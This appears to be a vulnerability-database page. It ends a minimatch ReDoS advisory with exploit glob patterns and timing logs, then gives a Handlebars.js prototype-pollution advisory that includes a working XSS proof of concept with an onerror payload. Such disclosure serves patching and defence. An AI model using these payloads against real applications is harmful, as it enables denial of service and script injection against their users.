path=\"aaaaaaaaaaaaaaaaaaaz\"\n[2026-02-20T09:42:21.775Z] done in 64149ms result=false\n[2026-02-20T09:42:21.779Z] pattern=\"*(a|b)\" path=\"aaaz\"\n[2026-02-20T09:42:21.779Z] done in 0ms result=false\n```\n\nThe server reports `\"ms\":\"0\"` for the benign request -- the legitimate request itself requires no CPU time. The entire 63-second `time_total` is time spent waiting for the event loop to be released. The benign request was only dispatched after the attack completed, confirmed by the server log timestamps.\n\nNote: standalone script timing (~7s at n=19) is lower than server timing (64s) because the standalone script had warmed up V8\u0027s JIT through earlier sequential calls. A cold server hits the worst case. Both measurements confirm catastrophic backtracking -- the server result is the more realistic figure for production impact.\n\n---\n\n### Impact\n\nAny context where an attacker can influence the glob pattern passed to `minimatch()` is vulnerable. The realistic attack surface includes build tools and task runners that accept user-supplied glob arguments, multi-tenant platforms where users configure glob-based rules (file filters, ignore lists, include patterns), and CI/CD pipelines that evaluate user-submitted config files containing glob expressions. No evidence was found of production HTTP servers passing raw user input directly as the extglob pattern, so that framing is not claimed here.\n\nDepth 3 (`*(*(*(a|b)))`, 12 bytes) stalls the Node.js event loop for 7+ seconds with an 18-character input. Depth 2 (`*(*(a|b))`, 9 bytes) reaches 68 seconds with a 31-character input. Both the pattern and the input fit in a query string or JSON body without triggering the 64 KB length guard.\n\n`+()` extglobs share the same code path and produce equivalent worst-case behavior (6.3 seconds at depth=3 with an 18-character input, confirmed).\n\n**Mitigation available:** passing `{ noext: true }` to `minimatch()` disables extglob processing entirely and reduces the same input to 0ms. Applications that do not need extglob syntax should set this option when handling untrusted patterns.",
"id": "GHSA-23c5-xmqv-rm74",
"modified": "2026-02-26T22:07:15Z",
"published": "2026-02-26T22:07:15Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/security/advisories/GHSA-23c5-xmqv-rm74"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-27904"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/minimatch"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
}
],
"summary": "minimatch ReDoS: nested *() extglobs generate catastrophically backtracking regular expressions"
}
GHSA-2QVQ-RJWJ-GVW9
Vulnerability from github – Published: 2026-03-26 22:20 – Updated: 2026-03-27 21:52
VLAI
Summary
Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection
Details
Summary
resolvePartial() in the Handlebars runtime resolves partial names via a plain property lookup on options.partials without guarding against prototype-chain traversal. When Object.prototype has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered without HTML escaping, resulting in reflected or stored XSS.
Description
The root cause is in lib/handlebars/runtime.js inside resolvePartial() and invokePartial():
// Vulnerable: plain bracket access traverses Object.prototype
partial = options.partials[options.name];
hasOwnProperty is never checked, so if Object.prototype has been seeded with a key whose name matches a partial reference in the template (e.g. widget), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.
Prerequisites for exploitation:
1. The target application must be vulnerable to prototype pollution (e.g. via qs, minimist, or
any querystring/JSON merge sink).
2. The attacker must know or guess the name of a partial reference used in a template.
Proof of Concept
const Handlebars = require('handlebars');
// Step 1: Prototype pollution (via qs, minimist, or another vector)
Object.prototype.widget = '<img src=x onerror="alert(document.domain)">';
// Step 2: Normal template that references a partial
const template = Handlebars.compile('<div>Welcome! {{> widget}}</div>');
// Step 3: Render — XSS payload injected unescaped
const output = template({});
// Output: <div>Welcome! <img src=x onerror="alert(document.domain)"></div>
The runtime prints a prototype access warning claiming "access has been denied," but the partial still resolves and returns the polluted value.
Workarounds
- Apply
Object.freeze(Object.prototype)early in application startup to prevent prototype pollution. Note: this may break other libraries. - Use the Handlebars runtime-only build (
handlebars/runtime), which does not compile templates and reduces the attack surface.
Severity
4.7 (Medium)
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "handlebars"
},
"ranges": [
{
"events": [
{
"introduced": "4.0.0"
},
{
"fixed": "4.7.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33916"
],
"database_specific": {
"cwe_ids": [
"CWE-1321",
"CWE-79"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-26T22:20:51Z",
"nvd_published_at": "2026-03-27T21:17:27Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`resolvePartial()` in the Handlebars runtime resolves partial names via a plain property lookup on `options.partials` without guarding against prototype-chain traversal. When `Object.prototype` has been polluted with a string value whose key matches a partial reference in a template, the polluted string is used as the partial body and rendered **without HTML escaping**, resulting in reflected or stored XSS.\n\n## Description\n\nThe root cause is in `lib/handlebars/runtime.js` inside `resolvePartial()` and `invokePartial()`:\n\n```javascript\n// Vulnerable: plain bracket access traverses Object.prototype\npartial = options.partials[options.name];\n```\n\n`hasOwnProperty` is never checked, so if `Object.prototype` has been seeded with a key whose name matches a partial reference in the template (e.g. `widget`), the lookup succeeds and the polluted string is returned. The runtime emits a prototype-access warning, but the partial is still resolved and its content is inserted into the rendered output unescaped. This contradicts the documented security model and is distinct from CVE-2021-23369 and CVE-2021-23383, which addressed data property access rather than partial template resolution.\n\n**Prerequisites for exploitation:**\n1. The target application must be vulnerable to prototype pollution (e.g. via `qs`, `minimist`, or\n any querystring/JSON merge sink).\n2. The attacker must know or guess the name of a partial reference used in a template.\n\n## Proof of Concept\n\n```javascript\nconst Handlebars = require(\u0027handlebars\u0027);\n\n// Step 1: Prototype pollution (via qs, minimist, or another vector)\nObject.prototype.widget = \u0027\u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u0027;\n\n// Step 2: Normal template that references a partial\nconst template = Handlebars.compile(\u0027\u003cdiv\u003eWelcome! {{\u003e widget}}\u003c/div\u003e\u0027);\n\n// Step 3: Render \u2014 XSS payload injected unescaped\nconst output = template({});\n// Output: \u003cdiv\u003eWelcome! \u003cimg src=x onerror=\"alert(document.domain)\"\u003e\u003c/div\u003e\n```\n\n\u003e The runtime prints a prototype access warning claiming \"access has been denied,\" but the partial still resolves and returns the polluted value.\n\n## Workarounds\n\n- Apply `Object.freeze(Object.prototype)` early in application startup to prevent prototype pollution. Note: this may break other libraries.\n- Use the Handlebars runtime-only build (`handlebars/runtime`), which does not compile templates and reduces the attack surface.",
"id": "GHSA-2qvq-rjwj-gvw9",
"modified": "2026-03-27T21:52:02Z",
"published": "2026-03-26T22:20:51Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/security/advisories/GHSA-2qvq-rjwj-gvw9"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23369"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23383"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33916"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/commit/68d8df5a88e0a26fe9e6084c5c6aaebe67b07da2"
},
{
"type": "PACKAGE",
"url": "https://github.com/handlebars-lang/handlebars.js"
},
{
"type": "WEB",
"url": "https://github.com/handlebars-lang/handlebars.js/releases/tag/v4.7.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N",
"type": "CVSS_V3"
}
],
"summary": "Handlebars.js has Prototype Pollution Leading to XSS through Partial Template Injection"
}
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(linear fit over daily sighting counts)
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Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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